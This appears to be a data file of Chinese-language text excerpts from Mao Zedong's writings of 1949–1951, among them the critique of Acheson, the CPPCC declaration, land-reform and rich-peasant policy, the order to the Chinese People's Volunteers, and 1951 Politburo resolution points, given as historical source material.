    {"text": "中国人之所以应当感谢艾奇逊，又不但因为艾奇逊公开地宣称，他们要招收中国的所谓“民主个人主义”分子，组织美国的第五纵队，推翻中国共产党领导的人民政府，因此引起了中国人特别是那些带有自由主义色彩的中国人的注意，大家相约不要上美国人的当，到处警戒美帝国主义在暗地里进行的阴谋活动。 中国人之所以应当感谢艾奇逊，还因为艾奇逊胡诌了一大篇中国近代史，而艾奇逊的历史观点正是中国知识分子中有一部分人所同具的观点，就是说资产阶级的唯心的历史观。"},
    {"text": "革命的发生是由于人口太多的缘故吗？ 古今中外有过很多的革命，都是由于人口太多吗？ 中国几千年以来的很多次的革命，也是由于人口太多吗？ 美国一百七十四年以前的反英革命 〔1〕 ，也是由于人口太多吗？"},
    {"text": "艾奇逊在这里寄予了很大的希望，这个希望他没有说出来，却被许多美国新闻记者经常地透露了出来，这就是所谓中国共产党解决不了自己的经济问题，中国将永远是天下大乱，只有靠美国的面粉，即是说变为美国的殖民地，才有出路。"},
    {"text": "西方资产阶级经济学家如像马尔萨斯 〔5〕 者流所谓食物增加赶不上人口增加的一套谬论，不但被马克思主义者早已从理论上驳斥得干干净净，而且已被革命后的苏联和中国解放区的事实所完全驳倒。"},
    {"text": "根据革命加生产即能解决吃饭问题的真理，中共中央已命令全国各地的共产党组织和人民解放军，对于国民党的旧工作人员，只要有一技之长而不是反动有据或劣迹昭著的分子，一概予以维持，不要裁减。"},
    {"text": "我们是艾奇逊反革命理论的驳斥者，我们相信革命能改变一切，一个人口众多、物产丰盛、生活优裕、文化昌盛的新中国，不要很久就可以到来，一切悲观论调是完全没有根据的。"},
    {"text": "一部分由于这些品质，一部分由于清朝统治的衰落，西方人不但没有被中国融化，而且介绍了许多新思想进来，这些新思想发生了重要作用，激起了骚动和不安。"},
    {"text": "反对英国鸦片侵略的战争 〔6〕 ，反对英法联军侵略的战争 〔7〕 ，反对帝国主义走狗清朝的太平天国战争 〔8〕 ，反对法国侵略的战争 〔9〕 ，反对日本侵略的战争 〔10〕 ，反对八国联军侵略的战争 〔11〕 ，都失败了，于是再有反对帝国主义走狗清朝的辛亥革命，这就是到辛亥为止的近代中国史。"},
    {"text": "在这个影响或改造过程中，西方资产阶级需要买办和熟习西方习惯的奴才，不得不允许中国这一类国家开办学校和派遣留学生，给中国“介绍了许多新思想进来”。"},
    {"text": "一类是多数人，这就是反抗帝国主义的工人阶级、农民阶级、城市小资产阶级、民族资产阶级和从这些阶级出身的知识分子，所有这些，都是帝国主义替自己造成的掘墓人，革命就是从这些人发生的。"},
    {"text": "在这个反抗运动中，在一个很长的时期内，即从一八四〇年的鸦片战争到一九一九年的五四运动 〔13〕 的前夜，共计七十多年中，中国人没有什么思想武器可以抗御帝国主义。"},
    {"text": "不得已，中国人被迫从帝国主义的老家即西方资产阶级革命时代的武器库中学来了进化论、天赋人权论和资产阶级共和国等项思想武器和政治方案，组织过政党，举行过革命，以为可以外御列强，内建民国。"},
    {"text": "其明效大验，就是和中国旧的封建主义文化相比较可以被艾奇逊们傲视为“高度文化”的那种西方资产阶级的文化，一遇见中国人民学会了的马克思列宁主义的新文化，即科学的宇宙观和社会革命论，就要打败仗。"},
    {"text": "被中国人民学会了的科学的革命的新文化，第一仗打败了帝国主义的走狗北洋军阀，第二仗打败了帝国主义的又一名走狗蒋介石在二万五千里长征路上对于中国红军的拦阻，第三仗打败了日本帝国主义及其走狗汪精卫，第四仗最后地结束了美国和一切帝国主义在中国的统治及其走狗蒋介石等一切反动派的统治。"},
    {"text": "马克思列宁主义来到中国之所以发生这样大的作用，是因为中国的社会条件有了这种需要，是因为同中国人民革命的实践发生了联系，是因为被中国人民所掌握了。 任何思想，如果不和客观的实际的事物相联系，如果没有客观存在的需要，如果不为人民群众所掌握，即使是最好的东西，即使是马克思列宁主义，也是不起作用的。"},
    {"text": "孙先生和他所代表的苦难的中国人民，一齐被“西方的影响”所激怒，下决心“联俄联共”，和帝国主义及其走狗奋斗和拚命，当然不是偶然的。"},
    {"text": "那末，好了，孙中山可以向苏联人学习，而苏联人并非帝国主义侵略者，为什么孙中山的继承者，孙中山死后的中国人，就不可以向苏联人学习呢？"},
    {"text": "为什么孙中山以外的中国人从马克思列宁主义学了科学的宇宙观和社会革命理论，并使之和中国的特点相结合，发动了中国的人民解放战争和人民大革命，创立了人民民主专政的共和国，就叫做“受苏联控制”，“共产国际的第五纵队”，“赤色帝国主义的走狗”呢？"},
    {"text": "斗争中的国民党和共产党，双方的精神力量的对比，发生了莫名其妙的变化，一方极度下降，降到零度以下，另一方极度上升，升到狂热的程度。"},
    {"text": "在这次革命中，蒙古人民革命党领导蒙古人民，在苏俄的支持和帮助下，驱逐日本帝国主义所支持的白俄军队，推翻外蒙古地方的封建统治，脱离当时中国的北洋政府，建立了蒙古人民共和国。"},
    {"text": "在一七九八年出版的《人口原理》一书中，他认为在没有任何限制的条件下，人类社会人口以几何数列增长，而生活资料以算术数列增长，因此人口必定发生过剩现象，只有贫困和罪恶（包括战争和瘟疫等）、“道德的抑制”（包括禁欲、无力赡养子女者不得结婚等）可使生活资料和人口之间恢复平衡。"},
    {"text": "〔7〕 见本书第二卷《中国革命和中国共产党》注〔18〕。 〔8〕 见本书第一卷《论反对日本帝国主义的策略》注〔36〕。 〔9〕 见本书第二卷《中国革命和中国共产党》注〔19〕。 〔10〕 见本书第一卷《矛盾论》注〔22〕。 〔11〕 见本书第二卷《中国革命和中国共产党》注〔21〕。"},
    {"text": "在三年多的时间内，英勇的世界上少有的中国人民解放军，战胜了美国援助的国民党反动政府所有的数百万军队的进攻，并使自己转入反攻和进攻。"},
    {"text": "那次会议的唯一收获是给了人民以深刻的教育，使人民懂得：和帝国主义的走狗蒋介石国民党及其帮凶们决无妥协的余地，或者是推翻这些敌人，或者是被这些敌人所屠杀和压迫，二者必居其一，其他的道路是没有的。"},
    {"text": "中国人民在中国共产党的领导之下，在三年多的时间内，很快地觉悟起来，并且把自己组织起来，形成了全国规模的反对帝国主义、封建主义、官僚资本主义及其集中的代表者国民党反动政府的统一战线，援助人民解放战争，基本上打倒了国民党反动政府，推翻了帝国主义在中国的统治，恢复了政治协商会议。"},
    {"text": "中国人民政治协商会议在自己的议程中将要制定中国人民政治协商会议的组织法，制定中华人民共和国中央人民政府的组织法，制定中国人民政治协商会议的共同纲领，选举中国人民政治协商会议的全国委员会，选举中华人民共和国中央人民政府委员会，制定中华人民共和国的国旗和国徽，决定中华人民共和国国都的所在地以及采取和世界大多数国家一样的年号。"},
    {"text": "一百多年以来，我们的先人以不屈不挠的斗争反对内外压迫者，从来没有停止过，其中包括伟大的中国革命先行者孙中山先生所领导的辛亥革命在内。"},
    {"text": "我们的民族将从此列入爱好和平自由的世界各民族的大家庭，以勇敢而勤劳的姿态工作着，创造自己的文明和幸福，同时也促进世界的和平和自由。"},
    {"text": "在国际上，我们必须和一切爱好和平自由的国家和人民团结在一起，首先是和苏联及各新民主国家团结在一起，使我们的保障人民革命胜利成果和反对内外敌人复辟阴谋的斗争不致处于孤立地位。"},
    {"text": "在人民解放战争和人民革命中牺牲的人民英雄们永垂不朽！ 庆贺人民解放战争和人民革命的胜利！ 庆贺中华人民共和国的成立！ 庆贺中国人民政治协商会议的成功！"},
    {"text": "中国人民大团结万岁 中国人民大团结万岁 * （一九四九年九月三十日） 全国同胞们： 中国人民政治协商会议第一届全体会议业已胜利地完成了自己的任务。 这次会议，包含了全中国所有的民主党派、人民团体、人民解放军、各地区、各民族、国外华侨和其他爱国民主分子的代表，代表了全国人民的意志，表现了全国人民的空前的大团结。 这种全国人民的大团结，是中国人民和人民解放军在中国共产党领导之下，经过长期的英勇奋斗，战胜了美帝国主义援助的蒋介石国民党反动政府之后所获得的。一百多年以来，中国人民的先进分子，其中杰出者有如领导辛亥革命的伟大革命家孙中山先生，为了推翻帝国主义和中国反动政府的压迫，领导广大的人民，进行了不断的斗争，百折不挠，再接再厉，到现在，终于达到了目的。当着我们举行会议的时候，中国人民已经战胜了自己的敌人，改变了中国的面貌，建立了中华人民共和国。我们四万万七千五百万中国人现在是站立起来了，我们民族的前途是无限光明的。 在人民领袖毛泽东主席领导之下，我们的会议齐心一志，按照新民主主义的原则，制定了中国人民政治协商会议组织法，制定了中华人民共和国中央人民政府组织法，制定了中国人民政治协商会议共同纲领，决定了中华人民共和国定都于北京，制定了中华人民共和国的国旗为五星红旗，采用了义勇军进行曲为现时的国歌，决定了中华人民共和国的纪年采用世界公元，选举了中国人民政治协商会议全国委员会，选举了中华人民共和国中央人民政府委员会。中国的历史，从此开辟了一个新的时代。 全国同胞们，中华人民共和国现已宣告成立，中国人民业已有了自己的中央政府。这个政府将遵照共同纲领在全中国境内实施人民民主专政。它将指挥人民解放军将革命战争进行到底，消灭残余敌军，解放全国领土，完成统一中国的伟大事业。它将领导全国人民克服一切困难，进行大规模的经济建设和文化建设，扫除旧中国所留下来的贫困和愚昧，逐步地改善人民的物质生活和提高人民的文化生活。它将保卫人民的利益，镇压一切反革命分子的阴谋活动。它将加强人民的陆海空军，巩固国防，保卫领土主权完整，反对任何帝国主义国家的侵略。它将联合一切爱好和平自由的国家、民族和人民，首先是联合苏联和各新民主国家，以为自己的盟友，共同反对帝国主义者挑拨战争的阴谋，争取世界的持久和平。 全国同胞们，我们应当进一步组织起来。我们应当将全中国绝大多数人组织在政治、军事、经济、文化及其他各种组织里，克服旧中国散漫无组织的状态，用伟大的人民群众的集体力量，拥护人民政府和人民解放军，建设独立民主和平统一富强的新中国。 为人民解放战争和人民革命而牺牲的人民英雄们永垂不朽！ 中国人民大团结万岁！ 中华人民共和国万岁！ 中央人民政府万岁！ 注 释 * 这是毛泽东同志受中国人民政治协商会议第一届全体会议的委托起草的会议宣言。“在人民领袖毛泽东主席领导之下”一句，是会议通过宣言时代表们提议增加的。 人民英雄们永垂不朽 人民英雄们永垂不朽 * （一九四九年九月三十日） 三年以来，在人民解放战争和人民革命中牺牲的人民英雄们永垂不朽！ 三十年以来，在人民解放战争和人民革命中牺牲的人民英雄们永垂不朽！ 由此上溯到一千八百四十年，从那时起，为了反对内外敌人，争取民族独立和人民自由幸福，在历次斗争中牺牲的人民英雄们永垂不朽 ！ 注 释 * 这是毛泽东同志为人民英雄纪念碑起草的碑文。 永远保持艰苦奋斗的作风 永远保持艰苦奋斗的作风 （一九四九年十月二十六日） 延安的同志们和陕甘宁边区的同胞们： 接到你们的贺函，使我十分愉快和感谢。延安和陕甘宁边区，从一九三六年到一九四八年，曾经使中共中央的所在地，曾经是中国人民解放斗争的总后方。延安和陕甘宁边区的人民对于全国人民是有伟大贡献的。我庆祝延安和陕甘宁边区的人民继续团结一致，迅速恢复战争的创伤，发展经济建设和文化建设。我并且希望，全国一切革命工作人员永远保持过去十余年间在延安和陕甘宁边区的工作人员中所具有的艰苦奋斗的作风。 毛 泽 东 一九四九年十月二十六日"},
    {"text": "征询对待富农策略问题的意见 征询对待富农策略问题的意见 * （一九五〇年三月十二日） 请就你们现正召开的各省负责同志会议中征询关于对待富农策略问题的意见电告我们，即是说在今冬开始的南方几省及西北某些地区的土地改革运动中，不但不动资本主义富农，而且不动半封建富农，待到几年之后再去解决半封建富农问题。请你们考虑这样做是否有利些。这样做的理由：第一是土改规模空前伟大，容易发生过左偏向，如果我们只动地主不动富农，则更能孤立地主，保护中农，并防止乱打乱杀，否则很难防止；第二是过去北方土改是在战争中进行的，战争空气掩盖了土改空气，现在基本上已无战争，土改就显得特别突出，给予社会的震动特别显得重大，地主叫唤的声音将特别显得尖锐，如果我们暂时不动半封建富农，待到几年之后再去动他们，则将显得我们更加有理由，即是说更加有政治上的主动权；第三是我们和民族资产阶级的统一战线，现在已经在政治上、经济上和组织上都形成了，而民族资产阶级是与土地问题密切联系的，为了稳定民族资产阶级起见，暂时不动半封建富农似较妥当的。 关于暂时不动富农的问题，去年十一月政治局会议中，我曾提出过，惟未作详细的分析和未作出决定，现在已到需要作决定的时机了。决定之后，需要修改土地法及其他有关土改的文件，并颁布出去，以利新区各省土改干部的学习，方有利于今年秋后开始土改，否则将错过时机，陷于被动。因此，不但请中南局，而且请华东局，华南分局，西南局，西北局的同志们对此问题加以讨论，并请将此电转发所属各省省委各市市委加以讨论，将赞成和反对的意见收集起来迅速电告中央，以凭考虑决策，是为至要。 注 释 * 这是毛泽东同志给中共中央中南局并华东局、华南分局、西南局、西北局的通知。"},
    {"text": "为争取国家财政经济状况的基本好转而斗争 为争取国家财政经济状况的 基本好转而斗争 * （一九五〇年六月六日） 目前的国际情况对于我们是有利的。"},
    {"text": "欲挣脱帝国主义压迫的民族解放运动有了广大的发展，其中特别值得注意的是日本人民和德国人民反对美国占领的群众运动已经起来，东方各被压迫民族的人民解放斗争有了发展。"},
    {"text": "同时，帝国主义国家之间的矛盾，主要的是美国和英国之间的矛盾也发展了。 美国资产阶级内部各派之间的争吵和英国资产阶级内部各派之间的争吵也增多了。"},
    {"text": "具有伟大历史意义的新的中苏条约 〔1〕 ，巩固了两国的友好关系，一方面使我们能够放手地和较快地进行国内的建设工作，一方面又正在推动着全世界人民争取和平和民主反对战争和压迫的伟大斗争。"},
    {"text": "国民党反动派又组织许多秘密的特务分子和间谍分子反对人民政府，在人民中散布谣言，企图破坏共产党和人民政府的威信，企图离间各民族、各民主阶级、各民主党派、各人民团体的团结和合作。 特务和间谍们又进行了破坏人民经济事业的活动，对于共产党和人民政府的工作人员采取暗杀手段，为帝国主义和国民党反动派收集情报。"},
    {"text": "人民解放军自从一九四八年冬季取得辽沈、淮海、平津三大战役的决定性胜利以后，从一九四九年四月二十一日开始渡江作战起至现在为止的十三个半月内，占领了除西藏、台湾及若干其他海岛以外的一切国土，消灭了一百八十三万国民党反动派的军队和九十八万土匪游击队，人民公安机关则破获了大批的反动特务组织和特务分子。"},
    {"text": "符合于此种情况，凡在老解放区（约有一亿六千万人口），土地改革已经完成，社会秩序已经安定，经济建设工作已经开始走上轨道，大多数劳动人民的生活已经有所改善，失业工人和失业知识分子的问题已经解决（东北），或者接近于解决（华北及山东）。"},
    {"text": "在新解放区（约有三亿一千万人口），则因为解放的时间还只有几个月，半年，或者一年，还有四十余万分散在各个偏僻地方的土匪待我们去剿灭，土地问题还没有解决，工商业还没有获得合理的调整，失业现象还是严重地存在，社会秩序还没有安定。"},
    {"text": "因此，我曾说过:我们现在在经济战线上已经取得的一批胜利，例如财政收支接近平衡，通货停止膨胀和物价趋向稳定等等，表现了财政经济情况的开始好转，但这还不是根本的好转。"},
    {"text": "因为战争已经在大陆上基本结束，和一九四六年至一九四八年的情况（人民解放军和国民党反动派进行着生死斗争，胜负未分）完全不同了，国家可以用贷款方法去帮助贫农解决困难，以补贫农少得一部分土地的缺陷。"},
    {"text": "因此，我们对待富农的政策应有所改变，即由征收富农多余土地财产的政策改变为保存富农经济的政策，以利于早日恢复农村生产，又利于孤立地主，保护中农和保护小土地出租者。"},
    {"text": "在统筹兼顾的方针下，逐步地消灭经济中的盲目性和无政府状态，合理地调整现有工商业，切实而妥善地改善公私关系和劳资关系，使各种社会经济成分，在具有社会主义性质的国营经济领导之下，分工合作，各得其所，以促进整个社会经济的恢复和发展。"},
    {"text": "（八）坚决地执行中央关于巩固和发展党的组织的指示，关于加强党和人民群众联系的指示，关于开展批评和自我批评的指示，关于全党整风的指示。"},
    {"text": "在老解放区，一般地应停止在农村中吸收党员。 在新解放区，在土地改革完成以前，一般地不应在农村中发展党的组织，以免投机分子乘机混入党内。"},
    {"text": "全党应在一九五〇年的夏秋冬三季，在和各项工作任务密切地相结合而不是相分离的条件之下，进行一次大规模的整风运动，用阅读若干指定文件，总结工作，分析情况，展开批评和自我批评等项方法，提高干部和一般党员的思想水平和政治水平，克服工作中所犯的错误，克服以功臣自居的骄傲自满情绪，克服官僚主义和命令主义，改善党和人民的关系。"},
    {"text": "不要四面出击 不要四面出击 * （一九五〇年六月六日） 七届二中全会以来，我们党领导的新民主主义革命在全国范围内取得了胜利，成立了中华人民共和国。这是一个伟大的胜利，是中国从古未有的大胜利，也是十月革命以后一个带世界性的大胜利。斯大林同志和许多外国同志，都感觉中国革命的胜利是极其伟大的。我们有许多同志，因为在这个斗争中搞惯了，反而不那样感觉。关于中国革命胜利的伟大意义，我们还要在党内和群众中间，做广泛的宣传。 在伟大胜利的形势下，我们面前还有很复杂的斗争，还有许多困难。 我们已经在北方约有一亿六千万人口的地区完成了土地改革，要肯定这个伟大的成绩。我们的解放战争，主要就是靠这一亿六千万人民打胜的。有了土地改革这个胜利，才有了打倒蒋介石的胜利。今年秋季，我们就要在约有三亿一千万人口这样广大的地区开始土地改革，推翻整个地主阶级。在土地改革中，我们的敌人是够大够多的。第一，帝国主义反对我们。第二，台湾、西藏的反动派反对我们。第三，国民党残余、特务、土匪反对我们。第四，地主阶级反对我们。第五，帝国主义在我国设立的教会学校和宗教界中的反动势力，以及我们接收的国民党的文化教育机构中的反动势力，反对我们。这些都是我们的敌人。我们要同这些敌人作斗争，在比过去广大得多的地区完成土地改革，这场斗争是很激烈的，是历史上没有过的。 同时，革命胜利引起了社会经济改组。这种改组是必要的，但暂时也给我们带来很重的负担。由于社会经济改组和战争带来的工商业的某些破坏，许多人对我们不满。现在我们跟民族资产阶级的关系搞得很紧张，他们皇皇不可终日，很不满。失业的知识分子和失业的工人不满意我们，还有一批小手工业者也不满意我们。在大部分农村，由于还没有实行土地改革，又要收公粮，农民也有意见。 我们当前总的方针是什么呢？就是肃清国民党残余、特务、土匪，推翻地主阶级，解放台湾、西藏，跟帝国主义斗争到底。为了孤立和打击当前的敌人，就要把人民中间不满意我们的人变成拥护我们。这件事虽然现在有困难，但是我们总要想各种办法来解决。 我们要合理地调整工商业，使工厂开工，解决失业问题，并且拿出二十亿斤粮食解决失业工人的吃饭问题，使失业工人拥护我们。我们实行减租减息、剿匪反霸、土地改革，广大农民就会拥护我们。我们也要给小手工业者找出路，维持他们的生活。对民族资产阶级，我们要通过合理调整工商业，调整税收，改善同他们的关系，不要搞得太紧张了。对知识分子，要办各种训练班，办军政大学、革命大学，要使用他们，同时对他们进行教育和改造。要让他们学社会发展史、历史唯物论等几门课程。就是那些唯心论者，我们也有办法使他们不反对我们。他们讲上帝造人，我们讲从猿到人。有些知识分子老了，七十几岁了，只要他们拥护党和人民政府，就把他们养起来。 全党都要认真地、谨慎地做好统一战线工作。要在工人阶级领导下，以工农联盟为基础，把小资产阶级、民族资产阶级团结起来。民族资产阶级将来是要消灭的，但是现在要把他们团结在我们身边，不要把他们推开。我们一方面要同他们作斗争，另一方面要团结他们。要向干部讲明这个道理，并且拿事实证明，团结民族资产阶级、民主党派、民主人士和知识分子是对的，是必要的。这些人中间有许多人过去是我们的敌人，现在他们从敌人方面分化出来，到我们这边来了，对这种多少有点可能团结的人，我们也要团结。团结他们，有利于劳动人民。现在我们需要采取这个策略。 团结少数民族很重要。全国少数民族大约有三千万人。少数民族地区的社会改革，是一件重大的事情，必须谨慎对待。我们无论如何不能急躁，急了会出毛病。条件不成熟，不能进行改革。一个条件成熟了，其他条件不成熟，也不要进行重大的改革。当然，这并不是说不要改革。按照《共同纲领》的规定，少数民族地区的风俗习惯是可以改革的。但是，这种改革必须由少数民族自己来解决。没有群众条件，没有人民武装，没有少数民族自己的干部，就不要进行任何带群众性的改革工作。我们一定要帮助少数民族训练他们自己的干部，团结少数民族的广大群众。 总之，我们不要四面出击。四面出击，全国紧张，很不好。我们绝不可树敌太多，必须在一个方面有所让步，有所缓和，集中力量向另一方面进攻。我们一定要做好工作，使工人、农民、小手工业者都拥护我们，使民族资产阶级和知识分子中的绝大多数人不反对我们。这样一来，国民党残余、特务、土匪就孤立了，地主阶级就孤立了，台湾、西藏的反动派就孤立了，帝国主义在我国人民中间就孤立了。我们的政策就是这样，我们的战略策略方针就是这样，三中全会的路线就是这样。 注 释 * 这是毛泽东同志在中国共产党第七届中央委员会第三次全体会议上讲话的一部分。这部分讲话对《为争取国家财政经济状况的基本好转而斗争》这个书面报告作了说明，解释了报告的战略策略思想。"},
    {"text": "这种总结经验和决定方针的工作，是我们大家一起来做的，是各民族、各民主阶级、各民主党派、各人民团体和各界民主人士的代表人物集合在一起来做的。"},
    {"text": "这里，不但有人民政协全国委员会的委员们，而且有中央人民政府、各大行政区人民政府（军政委员会） 〔1〕 及各省市人民政府的许多工作人员列席参加讨论，而且有各省市各界人民代表会议协商委员会的代表们列席参加讨论，而且有许多特邀的爱国人士列席参加讨论。"},
    {"text": "我们这次会议所以有这样多的议题，是因为我们的新国家成立以后，各方面工作都在开创，都在发展，全国人民正在蓬蓬勃勃地在各个战线上开展真正人民革命的伟大斗争，在军事战线上，在经济战线上，在思想战线上，在土地改革的战线上都是从古未有的极其伟大的斗争，各项工作都待总结，都待指示方针，所以我们有了这样多的议题。"},
    {"text": "中国是一个大国，实际的人口超过四亿七千五百万，又处在人民革命的伟大历史时期，这种情况要求我们这样做，我们也就这样做了，我想我们是做得对的。"},
    {"text": "中国的主要人口是农民，革命靠了农民的援助才取得了胜利，国家工业化又要靠农民的援助才能成功，所以工人阶级应当积极地帮助农民进行土地改革，城市小资产阶级和民族资产阶级也应当赞助这种改革，各民主党派、各人民团体更应当采取这种态度。"},
    {"text": "什么人站在革命人民方面，他就是革命派，什么人站在帝国主义、封建主义、官僚资本主义方面，他就是反革命派。 什么人只是口头上站在革命人民方面而在行动上则另是一样，他就是一个口头革命派，如果不但在口头上而且在行动上也站在革命人民方面，他就是一个完全的革命派。"},
    {"text": "大家多研究，多商量，打通思想，整齐步伐，组成一条伟大的反封建统一战线，就可以领导人民和帮助人民顺利地通过这一关。 只要战争关、土改关都过去了，剩下的一关就将容易过去的，那就是社会主义的一关，在全国范围内实行社会主义改造的那一关。 只要人们在革命战争中，在革命的土地制度改革中有了贡献，又在今后多年的经济建设和文化建设中有所贡献，等到将来实行私营工业国有化和农业社会化的时候（这种时候还在很远的将来），人民是不会把他们忘记的，他们的前途是光明的。 我们的国家就是这样地稳步前进，经过战争，经过新民主主义的改革，而在将来，在国家经济事业和文化事业大为兴盛了以后，在各种条件具备了以后，在全国人民考虑成熟并在大家同意了以后，就可以从容地和妥善地走进社会主义的新时期。"},
    {"text": "不，不会这样的，只要谁肯真正为人民效力，在人民还有困难的时期内确实帮了忙，做了好事，并且是一贯地做下去，并不半途而废，那末，人民和人民的政府是没有理由不要他的，是没有理由不给他以生活的机会和效力的机会的。"},
    {"text": "在这个远大目标上，在国外，我们必须坚固地团结苏联、各人民民主国家及全世界一切和平民主力量，对此不可有丝毫的游移和动摇。 在国内，我们必须团结各民族、各民主阶级、各民主党派、各人民团体及一切爱国民主人士，必须巩固我们这个已经建立的伟大的有威信的革命统一战线。"},
    {"text": "不论什么人，凡对于这个革命统一战线的巩固工作有所贡献者，我们就欢迎他，他就是正确的； 凡对于这个革命统一战线的巩固工作有所损害者，我们就反对他，他就是错误的。"},
    {"text": "对敌人说来是用专政的方法，就是说在必要的时期内，不让他们参与政治活动，强迫他们服从人民政府的法律，强迫他们从事劳动并在劳动中改造他们成为新人。"},
    {"text": "对人民说来则与此相反，不是用强迫的方法，而是用民主的方法，就是说必须让他们参与政治活动，不是强迫他们做这样做那样，而是用民主的方法向他们进行教育和说服的工作。"},
    {"text": "各大区设有中共中央的代表机关中央局。 除华北外，其他五个大区都设有大区行政机构，东北称人民政府，华东、中南、西南、西北称军政委员会。"},
    {"text": "〔2〕 指一九五〇年六月十四日中共中央提交中国人民政治协商会议第一届全国委员会第二次会议讨论的《中华人民共和国土地改革法草案》这个草案在这次会议讨论同意以后，又经中央人民政府委员会通过。 《中华人民共和国土地改革法》于同年六月三十日由中央人民政府毛泽东主席公布施行。"},
    {"text": "你们是全民族的模范人物 你们是全民族的模范人物 * （一九五〇年九月二十五日） 全国战斗英雄代表会议和全国工农兵劳动模范代表会议的代表同志们！ 中共中央向你们的会议致热烈的祝贺，并向你们的工作表示感谢和敬意。 你们在消灭敌人的斗争中，在恢复和发展工农业生产的斗争中，克服了很多的艰难困苦，表现了极大的勇敢、智慧和积极性。你们是全中华民族的模范人物，是推动各方面人民事业胜利前进的骨干，是人民政府的可靠支柱和人民政府联系广大群众的桥梁。 中国共产党中央委员会号召全党党员和全国人民向你们学习，同时号召你们，亲爱的全体代表同志和全国所有的战斗英雄、劳动模范同志们，继续在战斗中学习，向广大人民群众学习。只有决不骄傲自满并且继续不疲倦地学习，才能够对于伟大的中华人民共和国继续作出优异的贡献，并从而继续保持你们的光荣称号。 中国必须建立强大的国防军，必须建立强大的经济力量，这是两件大事。这两件事都有赖于同志们和全体人民解放军的指挥员、战斗员一道，和全国工人、农民及其他人民一道，团结一致，协同努力，方能达到目的。当此中华人民共和国开国第一个国庆纪念节日快要到来之际，你们在这里开会，是有巨大意义的。我们庆祝你们的会议获得成功，庆祝你们在今后工作中获得伟大的胜利。 注 释 * 这是毛泽东同志代表中共中央在全国战斗英雄代表会议和全国工农兵劳动模范代表会议上致的祝词。 给中国人民志愿军的命令 给中国人民志愿军的命令 * （一九五〇年十月八日） 中国人民志愿军各级领导同志们: （一）为了援助朝鲜人民解放战争，反对美帝国主义及其走狗们的进攻，借以保卫朝鲜人民、中国人民及东方各国人民的利益，着将东北边防军改为中国人民志愿军，迅即向朝鲜境内出动，协同朝鲜同志向侵略者作战并争取光荣的胜利。 （二）我中国人民志愿军进入朝鲜境内，必须对朝鲜人民、朝鲜人民军、朝鲜民主政府、朝鲜劳动党、其他民主党派及朝鲜人民的领袖金日成 〔3〕 同志表示友爱和尊重，严格地遵守军事纪律和政治纪律，这是保证完成军事任务的一个极重要的政治基础。 （三）必须深刻地估计到各种可能遇到和必然会遇到的困难情况，并准备用高度的热情，勇气，细心和刻苦耐劳的精神去克服这些困难。目前总的国际形势和国内形势于我们有利，于侵略者不利，只要同志们坚决勇敢，善于团结当地人民，善于和侵略者作战，最后胜利就是我们的。 中国人民革命军事委员会主席 毛泽东 一九五〇年十月八日于北京 注 释 * 这是毛泽东同志给中国人民志愿军的命令的节录。 中国人民志愿军要爱护朝鲜的一山一水一草一木 中国人民志愿军要爱护朝鲜的 一山一水一草一木 * （一九五一年一月十九日） 中朝两国同志要亲如兄弟般地团结在一起，休戚与共，生死相依，为战胜共同敌人而奋斗到底。中国同志必须将朝鲜的事情看做自己的事情一样，教育指挥员战斗员爱护朝鲜的一山一水一草一木，不拿朝鲜人民的一针一线，如同我们在国内的看法和做法一样，这就是胜利的政治基础。只要我们能够这样做，最后胜利就一定会得到。 注 释 * 这是毛泽东同志给中国人民志愿军的指示。"},
    {"text": "中共中央政治局扩大会议决议要点 中共中央政治局 扩大会议决议要点 （一九五一年二月十八日） 中央于二月中旬召开有各中央局负责同志参加的政治局会议，讨论了各项重要问题，兹将决议要点通报如下。 一 二十二个月的准备工作 “三年准备、十年计划经济建设”的思想，要使省市级以上干部都明白。准备时间，现在起，还有二十二个月，必须从各方面加紧进行工作。 二 抗美援朝的宣传教育运动 必须在全国范围内继续推行这个运动，已推行者深入之，未推行者普及之，务使全国每处每人都受到这种教育。 三 土改 1、农忙时一律停一下，总结经验。 2、争取今年丰收。 3、依靠县农民代表会及训练班。 4、积极造成条件。凡条件不成熟者，无论何时何地不要勉强去做。 5、土改完成，立即转入生产、教育两大工作。 6、同意华东分期退押的办法。 7、劝告农民以不采非刑拷打为有利。 8、土改后，增划区乡，缩小区乡行政范围。 四 镇压反革命 1、判处死刑一般须经过群众，并使民主人士与闻。 2、严密控制，不要乱，不要错。 3、注意“中层” 〔1〕 ，谨慎地清理旧人员及新知识分子中暗藏的反革命分子。 4、注意“内层”，谨慎地清理侵入党内的反革命分子，十分加强保密工作。 5、还要向干部做教育，并给干部撑腰。 五 城市工作 1、各中央局、分局、省市区党委今年必须召开两次城市工作会议，议程如中央所通知，向中央作两次专题报告。 2、加强党委对城市工作的领导，实行七届二中全会决议。 3、向干部做教育，明确依靠工人阶级的思想。 4、工厂内，以实现生产计划为中心，实行党、政、工、团的统一领导。 5、力争在增加生产的基础上逐步改善工人生活。 6、在城市建设计划中，应贯彻为生产、为工人服务的观点。 7、全国总工会及各上级工会应着重解决下面的具体问题。 8、党委及工会应着重典型经验的创造，迅速推及各处。 六 整党及建党 1、我们的党是伟大的，光荣的，正确的，这是主要方面，必须加以肯定，并向各级干部讲明白。但是存在着问题，必须加以整理，并对新区建党采取慎重的态度，这方面也要讲明白。 2、整党、建党，均须由中央及各中央局实行严格的控制，下面不得自由行动。 3、整党，应以三年时间实现之。其步骤，应是以一年时间（一九五一年）普遍进行关于怎样做一个共产党员的教育，使所有党员明白做一个共产党员的标准，并训练组织工作人员。同时，进行典型试验。然后，根据经验进行整党，但城市可以在一九五一年进行整党。整党时，首先将“第四部分人” 〔2〕 清洗出去。然后对“第二部分人”、“第三部分人”加以区别，对其中经过教育而仍确实不合党员条件者劝其退党，务使这些退党者自愿地退出，不要伤感情，不要重复一九四八年“搬石头” 〔3〕 的经验。 4、城市及新区建党必须采取慎重的方针。城市着重在产业工人中建立党的组织。乡村须在土改完毕始能吸收经过教育合于党员条件者建立党的支部，在头两年内乡村支部一般不要超过十个党员。无论在城市和乡村，均应对于愿意接受党的教育的积极分子，进行关于怎样做一个共产党员的教育，经过这种教育然后将其中确实合于党员条件者吸收入党。 七 统一战线工作 1、要求各中央局、分局、省市区党委一九五一年召集两次会议，讨论统一战线工作，并向中央作两次关于这方面的专题报告。 2、必须向干部讲清楚为什么要加强统一战线工作的理由。 3、知识分子，工商业界，宗教界，民主党派，民主人士，必须在反帝反封建的基础上将他们团结起来，并加以教育。 4、认真在各少数民族中进行工作，推行区域自治和训练少数民族自己的干部是两项中心工作。 八 整风 一年一次，冬季进行，时间要短，任务是检查工作，总结工作经验，发扬成绩，纠正缺点错误，借以教育干部。 注 释 * 